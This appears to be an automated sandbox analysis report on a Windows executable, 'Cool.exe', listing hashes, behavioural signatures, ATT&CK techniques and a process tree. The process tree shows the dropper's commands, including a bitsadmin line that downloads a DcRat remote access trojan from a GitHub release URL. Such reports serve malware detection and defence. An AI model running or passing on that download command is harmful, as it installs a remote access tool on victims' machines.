44c2f99381797b2af79a7d144e7ef49fc326b430f47bc91d2a8934508bfb001a

Analysis

max time kernel
15s
max time network
12s
platform
windows11-21h2_x64
resource
win11-20250313-en
resource tags

arch:x64arch:x86image:win11-20250313-enlocale:en-usos:windows11-21h2-x64system
submitted
26/03/2025, 23:48

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Cool.exe
Size

88KB
MD5

a75ebda9ebaa36628773b55f147b8e7c
SHA1

ba96cedc8bb21ea977ab4eced824bf6d4544550e
SHA256

44c2f99381797b2af79a7d144e7ef49fc326b430f47bc91d2a8934508bfb001a
SHA512

d2a5dbb1251637f347aee65da7a537afc6f59ced40a36ad524fecd9e4479a9e15a360d7aad4ed6879477a32c64ddcd133f5256444d0fc8627383de374073e3b8
SSDEEP

1536:x7f65g9OX2CLGAApICdOk/dYLAZXdlItBGTjeIOlnToIfcNO9:FnlVICUkLrGGTINTBfc4

Score

8^/10

discovery dropper

Malware Config

Signatures

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
4960	bitsadmin.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Cool.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3248 wrote to memory of 1696	3248	Cool.exe	79
PID 3248 wrote to memory of 1696	3248	Cool.exe	79
PID 1696 wrote to memory of 2656	1696	cscript.exe	80
PID 1696 wrote to memory of 2656	1696	cscript.exe	80
PID 1696 wrote to memory of 1420	1696	cscript.exe	82
PID 1696 wrote to memory of 1420	1696	cscript.exe	82
PID 1696 wrote to memory of 6136	1696	cscript.exe	84
PID 1696 wrote to memory of 6136	1696	cscript.exe	84
PID 1696 wrote to memory of 872	1696	cscript.exe	86
PID 1696 wrote to memory of 872	1696	cscript.exe	86
PID 872 wrote to memory of 4960	872	cmd.exe	88
PID 872 wrote to memory of 4960	872	cmd.exe	88

C:\Users\Admin\AppData\Local\Temp\Cool.exe
"C:\Users\Admin\AppData\Local\Temp\Cool.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3248
- C:\Windows\system32\cscript.exe
  "C:\Windows\sysnative\cscript" C:\Users\Admin\AppData\Local\Temp\6AD0.tmp\6AD1.tmp\6AE1.vbs //Nologo
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1696
- - C:\Windows\System32\openfiles.exe
    "C:\Windows\System32\openfiles.exe" >nul 2>nul
    3⤵
    PID:2656
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c echo RandomCommand1
    3⤵
    PID:1420
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c echo RandomCommand2
    3⤵
    PID:6136
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c bitsadmin /transfer myDownloadJob https://github.com/jijhihubh/DcRat/releases/download/v1.0.6/Main.exe C:\Users\Admin\AppData\Local\Temp\Main.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:872
  - - C:\Windows\system32\bitsadmin.exe
      bitsadmin /transfer myDownloadJob https://github.com/jijhihubh/DcRat/releases/download/v1.0.6/Main.exe C:\Users\Admin\AppData\Local\Temp\Main.exe
      4⤵
      Download via BitsAdmin
      PID:4960

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\6AD0.tmp\6AD1.tmp\6AE1.vbs

Filesize
5KB

MD5
4cad577a3fc815eb25f66aea7f86cf19

SHA1
d6b51608d8fc9247e86d65bf749ae9b8a1374d01

SHA256
15e2bd2647fade0c24d9e56309c7856544c599eefa39b2b75aa70083026a4df0

SHA512
ea11615f885fb11033166aae97c24e36ccbf362870d3ff25aec2e7e008e8055c61e62c44511d469576b5ccb7a7e05b7104da4c7f22f645e5304479e3d7c1a5cf

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads